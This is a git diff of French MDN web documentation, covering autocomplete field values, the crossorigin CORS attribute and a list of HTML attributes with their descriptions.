Un surnom.
+
+
+
email
+
Une adresse électronique.
+
username
+
Un nom de compte ou un nom d'utilisateur.
+
new-password
+
Un nouveau mot de passe. Lors de la création d'un compte ou lors d'un changement de mot de passe, cette valeur pourra être utilisée pour le champ où saisir le nouveau mot de passe. Ainsi, on évitera au navigateur de saisir automatiquement le mot de passe actuel ou le navigateur pourra même proposer un outil permettant de créer un mot de passe sécurisé.
+
current-password
+
Le mot de passe actuel de l'utilisateur.
+
one-time-code
+
Un code à usage unique, utilisé pour vérifier l'identité de l'utilisateur.
+
organization-title
+
Un titre de poste tel que « Directeur général », « Assistant technique » ou « Ingénieur ».
+
organization
+
Le nom d'une entreprise ou d'une organisation.
+
street-address
+
Une adresse postale. Cette adresse peut être un texte sur plusieurs lignes et devrait permettre d'identifier complètement l'emplacement de l'adresse au sein d'une ville. Cette valeur n'inclut pas le nom de la ville, le code postal ou le nom du pays.
+
address-line1, address-line2, address-line3
+
Des lignes individuelles pour décrire l'adresse postale. Ces valeurs peuvent être utilisées seulement lorsque la valeur street-address est absente.
+
address-level4
+
Le niveau d'adresse le plus fin (cf. la section ci-après) lorsque les adresses ont quatre niveau.
+
address-level3
+
Le troisième niveau de précision d'une adresse (cf. la section ci-après) lorsque les adresses ont au moins trois niveaux administratifs.
+
address-level2
+
Le deuxième niveau de précision d'une adresse (cf. la section ci-après) lorsque les adresses ont au moins deux niveaux administratifs. Pour les pays avec deux niveaux administratifs, cela correspond généralement à la ville, au village ou à la localité de l'adresse.
+
address-level1
+
Le premier niveau de précision d'une adresse (cf. la section ci-après). C'est généralement la région ou l'état dans lequel se situe l'adresse.
+
country
+
Un code de pays.
+
country-name
+
Un nom de pays.
+
postal-code
+
Un code postal.
+
cc-name
+
Le nom complet tel qu'indiqué sur une carte bancaire. On préfèrera généralement utiliser le nom complet plutôt que de le décomposer en fragments.
+
cc-given-name
+
Le prénom tel qu'indiqué sur une carte bancaire.
+
cc-additional-name
+
Le deuxième prénom tel qu'indiqué sur une carte bancaire.
+
cc-family-name
+
Le nom de famille tel qu'indiqué sur une carte bancaire.
+
cc-number
+
Le numéro de la carte bancaire ou tout autre numéro identifiant une méthode de paiement (ce peut être un numéro de compte par exemple).
+
cc-exp
+
La date d'expiration de la méthode de paiement telle qu'indiquée sur une carte bancaire (généralement sous la forme MM/YY ou sous la forme MM/YYYYY où MM correspond aux deux chiffres du mois et où YY ou YYYY correspondent aux chiffres de l'année).
+
cc-exp-month
+
Le mois d'expiration du moyen de paiement tel qu'indiqué sur une carte bancaire.
+
cc-exp-year
+
L'année d'expiration du moyen de paiement tel qu'indiqué sur une carte bancaire.
+
cc-csc
+
Le cryptogramme du moyen de paiement tel qu'indiqué sur une carte bancaire. il s'agit généralement du code à trois chiffres de vérification situé au dos de la carte bancaire.
+
cc-type
+
Le type de moyen de paiement ("Visa" ou "Master Card").
+
transaction-currency
+
La devise utilisée pour la transaction courante.
+
transaction-amount
+
Le montant de la transaction, pour un formulaire de paiement, exprimé dans la devise fournie par transaction-currency.
+
language
+
La langue préférée, indiquée sous la forme d'une balise de langue valide selon BCP 47.
+
bday
+
Une date de naissance complète.
+
bday-day
+
Le jour du mois de la date de naissance.
+
bday-month
+
Le mois de l'année de la date de naissance.
+
bday-year
+
L'année de la date de naissance.
+
sex
+
Un genre (tel que « femme », « homme », « Fa'afafine » etc.) sous la forme d'un texte libre sans passage à la ligne.
+
tel
+
Un numéro de téléphone complet qui inclut l'identifiant du pays. Si le numéro de téléphone doit être décomposé en composants, on pourra utiliser les valeurs suivantes : +
+
tel-country-code
+
L'indicateur du pays pour le numéro de téléphone (33 pour la France ou 1 pour les États-Unis par exemple).
+
tel-national
+
Le numéro de téléphone complet sans l'indicateur du pays.
+
tel-area-code
+
La code de la zone pour le numéro de téléphone avec un préfixe interne au pays si nécessaire.
+
tel-local
+
Le numéro de téléphone sans l'indicateur de pays ni l'indicateur de zone.
+
+
+
tel-extension
+
Une extension au numéro de téléphone qui permet par exemple d'indiquer le numéro de chambre dans un hôtel ou le numéro d'un bureau au sein d'une entreprise.
+
impp
+
Une URL pour un protocole de messagerie instantannée (par exemple "xmpp:username@example.net").
+
url
+
Une URL, pertinente dans le contexte du formulaire.
+
photo
+
L'URL d'une image représentant la personne, l'entreprise ou l'information de contact pour ce formulaire.
+
+ +

Voir la spécification WHATWG pour plus de détails.

+ +
+

Note : À la différence des autres navigateurs, pour Firefox, l'attribut autocomplete contrôlera également si l'état de désactivation ou de coche dynamique persiste lors d'un rechargement de la page pour un champ <input>. Par défaut, un élément reste désactivé ou coché/décoché lors des rechargements. En utilisant l'attribut autocomplete avec la valeur off, on désactive cette fonctionnalité. Cela fonctionne, y compris lorsque l'attribut autocomplete ne devrait pas s'appliquer à l'élément <input> d'après son type. Voir {{bug(654072)}}.

+
+ +

Les niveaux administratifs pour les adresses

+ +

Les quatre niveaux administratifs pour les adresses (address-level1 jusqu'à address-level4) décrivent l'adresse avec un niveau de précision croissant au sein du pays dans lequel l'adresse est situé. Chaque pays possède son propre système de division administrative et peut donc organiser les niveaux selon un ordre différent pour l'écriture des adresses.

+ +

address-level1 représente toujours le niveau le plus large : c'est la composante la moins spécifique de l'adresse après la maille du pays.

+ +

Disposition du formulaire

+ +

Étant donné qu'une adresse s'écrit différemment selon le pays, il peut être utile, si possible, de fournir différentes dispositions de formulaires pour les utilisateurs (éventuellement en fonction de leur locale) pour faciliter la saisie de leur adresse pour leur pays.

+ +

Variations

+ +

La façon d'utiliser les niveaux administratifs varie d'un pays à l'autre. Voici quelques exemples non exhaustifs.

+ +

États-Unis

+ +

Aux États-Unis, une adresse s'écrit généralement comme suit :

+ +

432 Anywhere St
+ Exampleville CA 95555

+ +

Dans ce cas, la portion la moins précise est le code "CA" (qui correspond au code postal pour l'état de Californie) et on a donc address-level1 qui correspond à ce niveau (ici l'état et plus particulièrement : "CA").

+ +

La deuxième partie de l'adresse la moins précise est le nom de la ville et c'est donc cette information (ici "Exampleville") qui sera utilisée pour address-level2.

+ +

Les niveaux 3 et 4 ne sont pas utilisés aux États-Unis.

+ +

Royaume-Uni

+ +

Le Royaume-Uni utilise un ou deux niveaux d'adresse selon l'adresse. Il s'agit de la ville postale et, dans certains cas, de la localité.

+ +

Chine

+ +

La Chine utilise jusqu'à trois niveaux administratifs : la province, la ville et le district.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML5.2', "sec-forms.html#autofilling-form-controls-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML5.2')}}
{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML WHATWG')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.autocomplete")}}

+ +

Voir aussi

+ +
    +
  • L'élément HTML {{htmlelement("input")}}
    • +
  • L'élément HTML {{htmlelement("select")}}
    • +
  • L'élément HTML {{htmlelement("textarea")}}
    • +
  • L'élément HTML {{htmlelement("form")}}
    • +
  • Les formulaires HTML
    • +
  • Les attributs universels.
    • +
diff --git a/files/fr/web/html/attributes/crossorigin/index.html b/files/fr/web/html/attributes/crossorigin/index.html new file mode 100644 index 0000000000..ebb63f97f5 --- /dev/null +++ b/files/fr/web/html/attributes/crossorigin/index.html @@ -0,0 +1,96 @@ +--- +title: Attributs de réglage du CORS +slug: Web/HTML/Reglages_des_attributs_CORS +tags: + - Avancé + - CORS + - HTML + - Reference +translation_of: Web/HTML/Attributes/crossorigin +--- +
{{HTMLSidebar}}
+ +

En HTML5, certains des éléments HTML supportant le CORS (Cross-Origin Resource Sharing) comme les éléments {{HTMLElement("img")}}, {{HTMLElement("video")}} ou {{HTMLElement("script")}}, ont un attribut crossorigin (propriété crossOrigin), qui permet de configurer les requêtes CORS pour les données de l'élément à renvoyer. Ces attributs sont listés ci-après avec les valeurs qu'ils peuvent avoir :

+ + + + + + + + + + + + + + + + + + + + +
Mot-cléDescription
anonymousLes requêtes CORS pour cet élément auront le marqueur d'authentification (credentials flag) avec la valeur 'same-origin'.
use-credentialsLes requêtes CORS pour cet élément auront le marqueur d'authentification (credentials flag) avec la valeur 'include'.
""Utiliser la chaîne vide (crossorigin="") ou l'attribut seul (crossorigin) sera équivalent à l'utilisation de la valeur anonymous.
+ +

Par défaut (quand l'attribut n'est pas spécifié), le CORS n'est pas du tout utilisé. Le mot-clé anonymous signifie que, lorsqu'il n'y a pas la même origine, il n'y aura ni échange d'informations d'authentification de l'utilisateur via des cookies, ni des certificats SSL côté client ou des authentifications HTTP comme détaillé dans la section terminologique de la spécification CORS.

+ +

Un mot-clé invalide ou une chaîne de caractères vide seront interprétés comme le mot-clé anonymous.

+ +

Exemple : utiliser crossorigin avec l'élément script

+ +

On peut utiliser l'élément {{HTMLElement("script")}} afin d'indiquer au navigateur d'exécuter un script (ici, https://exemple.com/framework-exemple.js) sans envoyer les informations d'authentification de l'utilisateur.

+ +
<script src="https://exemple.com/framework-exemple.js"
+        crossorigin="anonymous">
+</script>
+ +

Exemple : utiliser des informations d'authentification avec un manifeste

+ +

La valeur use-credentials doit être utilisée lorsqu'on récupère un manifeste nécessitant des informations d'authentification, y compris lorsque le fichier provient de la même origine :

+ +
<link rel="manifest" href="/app.manifest" crossorigin="use-credentials">
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité du navigateur

+ +

L'attribut crossorigin pour <script>

+ + + +

{{Compat("html.elements.script.crossorigin")}}

+ +

L'attribut crossorigin pour <video>

+ + + +

{{Compat("html.elements.video.crossorigin")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/attributes/index.html b/files/fr/web/html/attributes/index.html new file mode 100644 index 0000000000..1b1c140c4e --- /dev/null +++ b/files/fr/web/html/attributes/index.html @@ -0,0 +1,767 @@ +--- +title: Liste des attributs HTML +slug: Web/HTML/Attributs +tags: + - Attribut + - HTML + - Reference + - Web +translation_of: Web/HTML/Attributes +--- +
{{HTMLSidebar}}
+ +

Chaque élément HTML peut avoir un ou plusieurs attributs. Ces attributs sont des valeurs supplémentaires qui permettent de configurer les éléments ou d'adapter leur comportement.

+ +

Liste des attributs

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom de l'attributÉléments auxquels il s'appliqueDescription
accept{{HTMLElement("form")}}, {{HTMLElement("input")}}La liste des types acceptés par le serveur. Généralement, il s'agit de types de fichier.
accept-charset{{HTMLElement("form")}}La liste des jeux de caractères pris en charge.
accesskeyAttribut universelCet attribut permet de définir un raccourci clavier pour activer un élément ou lui passer le focus.
action{{HTMLElement("form")}}L'URI d'un programme qui traite les informations envoyées par le formulaire.
align{{HTMLElement("applet")}}, {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}} , {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}Cet attribut définit l'alignement horizontal de l'élément.
allow{{HTMLElement("iframe")}}Cet attribut définit les règles des fonctionnalités pour cette iframe.
alt{{HTMLElement("applet")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}Un texte alternatif à afficher lorsque l'élément ne peut pas être affiché.
async{{HTMLElement("script")}}Cet attribut indique que le script devrait être exécuté de façon asynchrone.
autocapitalizeAttribut universelCet attribut contrôle la façon dont un champ texte est saisi en majuscules de façon automatique.
autocomplete +

{{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}

+ 		Cet attribut indique que ces contrôles ou que ce formulaire peuvent être remplis automatiquement par le navigateur.
autofocus{{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}Cet attribut indique que l'élément doit recevoir le focus automatiquement une fois que la page est chargée.
autoplay{{HTMLElement("audio")}}, {{HTMLElement("video")}}Cet attribut indique que l'élément audio ou vidéo doit être lancé dès que possible.
background{{HTMLElement("body")}}, {{HTMLElement("table")}}, {{HTMLElement("td")}}, {{HTMLElement("th")}} +

Définit l'URL vers un fichier qui est une image.

+ +

Note : Bien que les navigateurs et les clients emails prennent en charge cet attribut, cet attribut est obsolète. On utilisera plutôt la propriété {{cssxref("background-image")}}.

+
bgcolor{{HTMLElement("body")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("marquee")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("td")}}, {{HTMLElement("th")}}, {{HTMLElement("tr")}} +

Cet attribut indique la couleur d'arrière-plan pour l'élément.

+ +
+

Note : Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("background-color")}}.

+
+
border{{HTMLElement("img")}}, {{HTMLElement("object")}}, {{HTMLElement("table")}} +

Cet attribut indique la largeur de la bordure.

+ +
+

Note : Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("border")}}.

+
+
buffered{{HTMLElement("audio")}}, {{HTMLElement("video")}}Cet attribut contient la valeur de l'intervalle de temps d'ores et déjà mis en mémoire tampon pour le média de l'élément.
challenge{{HTMLElement("keygen")}}Une chaîne de challenge qui est envoyée avec la clef publique.
charset{{HTMLElement("meta")}}, {{HTMLElement("script")}}Cet attribut déclare l'encodage de caractères utilisé pour la page ou le script.
checked{{HTMLElement("command")}}, {{HTMLElement("input")}}Cet attribut indique si l'élément doit être vérifié au chargement de la page.
cite{{HTMLElement("blockquote")}}, {{HTMLElement("del")}}, {{HTMLElement("ins")}}, {{HTMLElement("q")}}Cet attribut est une URI qui pointe vers la source de la citation ou de la modification.
classAttribut universelCet attribut permet de définir la ou les classes auxquelles appartient un élément afin de le manipuler en script ou de le mettre en forme avec CSS.
code{{HTMLElement("applet")}}Cet attribut définit l'URL du fichier de classe qui doit être utilisé pour le chargement et l'exécution de l'applet.
codebase{{HTMLElement("applet")}}Cet attribut fournit une URL absolue ou relative du dossier contenant les fichiers .class de l'applet.
color{{HTMLElement("basefont")}}, {{HTMLElement("font")}}, {{HTMLElement("hr")}} +

Cet attribut définit la couleur du texte grâce à un nom de couleur ou grâce à un code hexadécimal dans le format #RRGGBB.

+ +
+

Note : Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("color")}}.

+
+
cols{{HTMLElement("textarea")}}Cet attribut définit le nombre de colonnes pour le texte contenu dans un textarea.
colspan{{HTMLElement("td")}}, {{HTMLElement("th")}}Cet attribut définit le nombre de colonnes sur lequel une cellule doit s'étendre.
content{{HTMLElement("meta")}}Une valeur associée avec http-equiv ou name selon le contexte.
contenteditableAttribut universelCet attribut indique si le contenu de l'élément peut être édité.
contextmenuAttribut universelCet attribut fait référence à l'identifiant d'un élément {{HTMLElement("menu")}} qui sera utilisé comme menu contextuel pour l'élément.
controls{{HTMLElement("audio")}}, {{HTMLElement("video")}}Cet attribut indique si le navigateur doit afficher les contrôles de lecture du média pour l'utilisateur.
coords{{HTMLElement("area")}}Un ensemble de valeurs qui définit les coordonnées de la zone d'intérêt.
crossorigin{{HTMLElement("audio")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("video")}}Cet attribut gère les requêtes de différentes origines.
csp {{experimental_inline}}{{HTMLElement("iframe")}}Cet attribut définit la politique de sécurité de contenu que le document intégré doit respecter.
data{{HTMLElement("object")}}Cet attribut définit l'URL de la ressource.
data-*Attribut universelGrâce aux attributs de donnée, on peut associer des attributs personnalisés afin de transporter des informations spécifiques.
datetime{{HTMLElement("del")}}, {{HTMLElement("ins")}}, {{HTMLElement("time")}}Cet attribut indique la date et l'heure associées à l'élément.
decoding{{HTMLElement("img")}}Cet attribut indique la méthode préférée pour décoder l'image.
default{{HTMLElement("track")}}Cet attribut indique que la piste devrait être activée sauf si les préférences de l'utilisateur indique un autre choix.
defer{{HTMLElement("script")}}Cet attribut indique que le script doit être exécuté une fois que la page a été analysée.
dirAttribut universelCet attribut définit la direction du texte (gauche à droite ou droite à gauche).
dirname{{HTMLElement("input")}}, {{HTMLElement("textarea")}}
disabled{{HTMLElement("button")}}, {{HTMLElement("command")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}Cet attribut indique si l'utilisateur peut interagir avec l'élément.
download{{HTMLElement("a")}}, {{HTMLElement("area")}}Cet attribut indique si l'hyperlien est utilisé afin de télécharger une ressource.
draggableAttribut universelCet attribut indique si l'élément peut être déplacé/glissé.
dropzoneAttribut universelCet attribut indique si l'élément peut recevoir du contenu suite à un glisser/déposer.
enctype{{HTMLElement("form")}}Cet attribut définit le type de contenu des données de formulaire envoyées lorsque la méthode utilisée est POST.
enterkeyhint {{experimental_inline}}{{HTMLElement("textarea")}}, contenteditableCet attribut indique le libellé ou l'icône à afficher sur la touche entrée des clavier virtuels. Cet attribut peut être utilisé sur les contrôles de formulaires ou sur les éléments qui sont éditables (par exemple avec l'attribut contenteditable).
for{{HTMLElement("label")}}, {{HTMLElement("output")}}Cet attribut décrit l'élément auquel se rapporte l'élément courant.
form{{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("meter")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}Cet attribut indique le formulaire auquel l'élément se rapporte.
formaction{{HTMLElement("input")}}, {{HTMLElement("button")}}Cet attribut est l'URI du programme qui traite les données pour ces champs du formulaire. Il prend le pas sur l'attribut action défini pour {{HTMLElement("form")}}.
formenctype{{HTMLElement("input")}}, {{HTMLElement("button")}}Si le bouton ou le champ sert à l'envoi (type="submit"), cet attribut indique l'encodage utilisé pour l'envoi des données. Si cet attribut est indiqué, il surcharge l'attribut enctype du formulaire auquel est rattaché le bouton/champ.
formmethod{{HTMLElement("input")}}, {{HTMLElement("button")}}Si le bouton ou le champ sert à l'envoi (type="submit"), cet attribut indique la méthode HTTP pour envoyer les données (GET, POST, etc.). Si cet attribut est indiqué, il surcharge l'attribut method du formulaire auquel est rattaché le bouton/champ.
formnovalidate{{HTMLElement("input")}}, {{HTMLElement("button")}}Si le bouton ou le champ sert à l'envoi (type="submit"), cet attribut booléen indique que le formulaire ne doit pas être validé à l'envoi. Si cet attribut est indiqué, il surcharge l'attribut novalidate du formulaire auquel est rattaché le bouton/champ.
formtarget{{HTMLElement("input")}}, {{HTMLElement("button")}}Si le bouton ou le champ sert à l'envoi (type="submit"), cet attribut indique le contexte de navigation (onglet, fenêtre ou iframe) dans lequel afficher la réponse après l'envoi du formulaire. Si cet attribut est indiqué, il surcharge l'attribut target du formulaire auquel est rattaché le bouton/champ.
headers{{HTMLElement("td")}}, {{HTMLElement("th")}}Les identifiants des éléments <th> qui s'appliquent à cet élément.
height{{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}} +

Pour ces éléments, cet attribut définit la hauteur occupée par l'élément. Pour les autres éléments, on utilisera {{cssxref("height")}} property.

+ +
+

Note : Pour certains éléments comme {{HTMLElement("div")}},cet attribut est un reliquat et ne devrait plus être utilisé. C'est la propriété CSS {{cssxref("height")}} qui est la méthode standard pour définir la hauteur d'un élément.

+
+
hiddenAttribut universelCet attribut empêche le rendu d'un élément sur une page tout en conservant les éléments fils actifs.
high{{HTMLElement("meter")}}Cet attribut indique la borne inférieure de l'intervalle haut.
href{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("base")}}, {{HTMLElement("link")}}L'URL de la ressource liée.
hreflang{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}Cet attribut indique la langue utilisé pour la ressource liée.
http-equiv{{HTMLElement("meta")}}
icon{{HTMLElement("command")}}Cet attribut indique une image qui représente la commande.
idAttribut universelCet attribut permet d'identifier un élément d'un document de façon unique. Il est généralement utilisé pour manipuler l'élément avec des scripts ou pour le mettre en forme avec CSS.
importance {{experimental_inline}}{{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}Cet attribut indique la priorité relative pour la récupération (fetch) des ressources.
integrity{{HTMLElement("link")}}, {{HTMLElement("script")}} +

Une fonctionnalité relative à la sécurité qui permet aux navigateurs de vérifier les fichiers qu'ils récupèrent.

+
intrinsicsize {{experimental_inline}}{{HTMLElement("img")}}Cet attribut indique au navigateur qu'il faut ignorer la taille intrinsèque de l'image et qu'il faut utiliser la taille indiquée avec les attributs.
inputmode{{HTMLElement("textarea")}}, contenteditableCet attribut fournit une indication sur le type de donnée qui pourrait être saisi par l'utilisateur lors de l'édition du formulaire ou de l'élément. Cet attribut peut être utilisé sur les contrôles de formulaires ou sur les éléments qui sont éditables (par exemple avec l'attribut contenteditable).
ismap{{HTMLElement("img")}}Cet attribut indique que l'image contribue à une mosaïque d'images interactive côté serveur.
itempropAttribut universel
keytype{{HTMLElement("keygen")}}Cet attribut définit le type de clé qui est généré.
kind{{HTMLElement("track")}}Cet attribut définit le type de piste textuelle.
label{{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("track")}}Cet attribut définit un titre, lisible par un utilisateur, pour l'élément.
langAttribut universelCet attribut définit la langue utilisée dans l'élément.
language{{HTMLElement("script")}}Cet attribut définit le langage de script utilisé dans l'élément.
loading {{experimental_inline}}{{HTMLElement("img")}}, {{HTMLElement("iframe")}}Cet attribut indique que l'élément doit être chargé à la demande.
list{{HTMLElement("input")}}Cet attribut constitue une liste d'options prédéfinie qui est suggérée à l'utilisateur.
loop{{HTMLElement("audio")}}, {{HTMLElement("bgsound")}}, {{HTMLElement("marquee")}}, {{HTMLElement("video")}}Cet attribut indique si le média courant doit recommencer au début une fois que sa lecture est terminée.
low{{HTMLElement("meter")}}Cet attribut indique la borne supérieure de l'intervalle bas.
manifest{{HTMLElement("html")}} +

Cet attribut définit l'URL du manifeste du document pour la gestion du cache.

+ +

Cet attribut est obsolète, on utilisera plutôt <link rel="manifest">.

+
max{{HTMLElement("input")}}, {{HTMLElement("meter")}}, {{HTMLElement("progress")}}Cet attribut indique la valeur maximale autorisée.
maxlength{{HTMLElement("input")}}, {{HTMLElement("textarea")}}Cet attribut définit le nombre maximal de caractères autorisé dans l'élément.
minlength{{HTMLElement("input")}}, {{HTMLElement("textarea")}}Cet attribut définit le nombre minimal de caractères qui doivent être saisis dans l'élément.
media{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}}, {{HTMLElement("style")}}Cet attribut est indication à propos du type de média pour la ressource liée.
method{{HTMLElement("form")}}Cet attribut définit la méthode HTTP à utiliser pour l'envoi des données du formulaire (GET par défaut ou POST)
min{{HTMLElement("input")}}, {{HTMLElement("meter")}}Cet attribut indique la valeur minimale autorisée.
multiple{{HTMLElement("input")}}, {{HTMLElement("select")}}Cet attribut indique si plusieurs valeurs peuvent être saisies pour des entrées de type email ou file.
muted{{HTMLElement("audio")}},{{HTMLElement("video")}}Cet attribut indique si le son de la vidéo doit être coupé lorsque la page est chargée initialement.
name{{HTMLElement("button")}}, {{HTMLElement("form")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, {{HTMLElement("map")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}Le nom de l'élément qui peut être utilisé par le serveur pour identifier le champ d'un formulaire.
novalidate{{HTMLElement("form")}}Cet attribut indique que les données du formulaire ne doivent pas être validées lors de l'envoi.
open{{HTMLElement("details")}}Cet attribut indique si les détails seront affichés lors du chargement de la page.
optimum{{HTMLElement("meter")}}Cet attribut indique la valeur numérique optimale.
pattern{{HTMLElement("input")}}Cet attribut définit une expression rationnelle contre laquelle valider la valeur de l'élément.
ping{{HTMLElement("a")}}, {{HTMLElement("area")}}
placeholder{{HTMLElement("input")}}, {{HTMLElement("textarea")}}Cet attribut fournit une indication à l'utilisateur sur ce qu'il peut saisir dans le champ.
poster{{HTMLElement("video")}}Cet attribut est une URL qui indique l'image à afficher tant que l'utilisateur n'a pas lancé la vidéo ou déplacé le curseur.
preload{{HTMLElement("audio")}}, {{HTMLElement("video")}}Cet attribut indique si toute ou partie, voire aucune partie de la ressource doit être téléchargée en avance.
radiogroup{{HTMLElement("command")}}
readonly{{HTMLElement("input")}}, {{HTMLElement("textarea")}}Cet attribut indique si l'élément peut être édité.
referrerpolicy{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}Définit le référent (referrer) envoyé lors de la récupération de la ressource.
rel{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}Cet attribut définit la relation entre l'objet cible et l'objet du lien.
required{{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}Cet attribut indique si l'élément doit obligatoirement être renseigné dans le formulaire.
reversed{{HTMLElement("ol")}}Cet attribut indique si la liste doit être affichée dans un ordre décroissant plutôt que dans un ordre croissant.
rows{{HTMLElement("textarea")}}Cet attribut définit le nombre de lignes pour la zone de texte.
rowspan{{HTMLElement("td")}}, {{HTMLElement("th")}}Cet attribut définit le nombre de lignes sur lesquelles une cellule doit s'étendre.
sandbox{{HTMLElement("iframe")}}Empêche un élément chargé dans une iframe d'utiliser certaines fonctionnalités (envoyer des formulaires ou ouvrir de nouvelles fenêtres par exemples).
scope{{HTMLElement("th")}}Définit les cellules sur lesquelles porte la cellule d'en-tête.
scoped{{HTMLElement("style")}}
selected{{HTMLElement("option")}}Cet attribut définit la valeur qui sera sélectionnée au chargement de la page.
shape{{HTMLElement("a")}}, {{HTMLElement("area")}}
size{{HTMLElement("input")}}, {{HTMLElement("select")}}Cet attribut définit la largeur de l'élément en pixels, si l'attribut type de l'élément vaut text ou password, cela correspond au nombre de caractères du champ.
sizes{{HTMLElement("link")}}, {{HTMLElement("img")}}, {{HTMLElement("source")}}
slotAttribut universelCet attribut affecte un créneau pour un élément dans le shadow DOM.
span{{HTMLElement("col")}}, {{HTMLElement("colgroup")}}
spellcheckAttribut universelCet attribut indique si la vérification orthographique est activée pour l'élément courant.
src{{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("script")}}, {{HTMLElement("source")}}, {{HTMLElement("track")}}, {{HTMLElement("video")}}Cet attribut indique l'URL du contenu embarqué.
srcdoc{{HTMLElement("iframe")}}
srclang{{HTMLElement("track")}}
srcset{{HTMLElement("img")}}
start{{HTMLElement("ol")}}Cet attribut définit le première nombre de la liste si celui-ci est différent de 1.
step{{HTMLElement("input")}}
styleAttribut universelCet attribut définit des styles CSS qui auront la priorité sur ceux définis précédemment. Il ne devrait être utilisé qu'à des fins de tests car il est conseillé d'utiliser un/des fichier(s) à part pour gérer la mise en forme.
summary{{HTMLElement("table")}}
tabindexAttribut universelCet attribut permet de modifier l'ordre dans la navigation à la tabulation.
target{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("base")}}, {{HTMLElement("form")}}
titleAttribut universelCet attribut définit un texte expliquant le contenu de l'élément et qui est généralement affiché sous la forme d'une bulle d'information au survol de l'élément.
translateAttribut universelCet attribut indique si le contenu textuel de l'élément doit être traduit ou non.
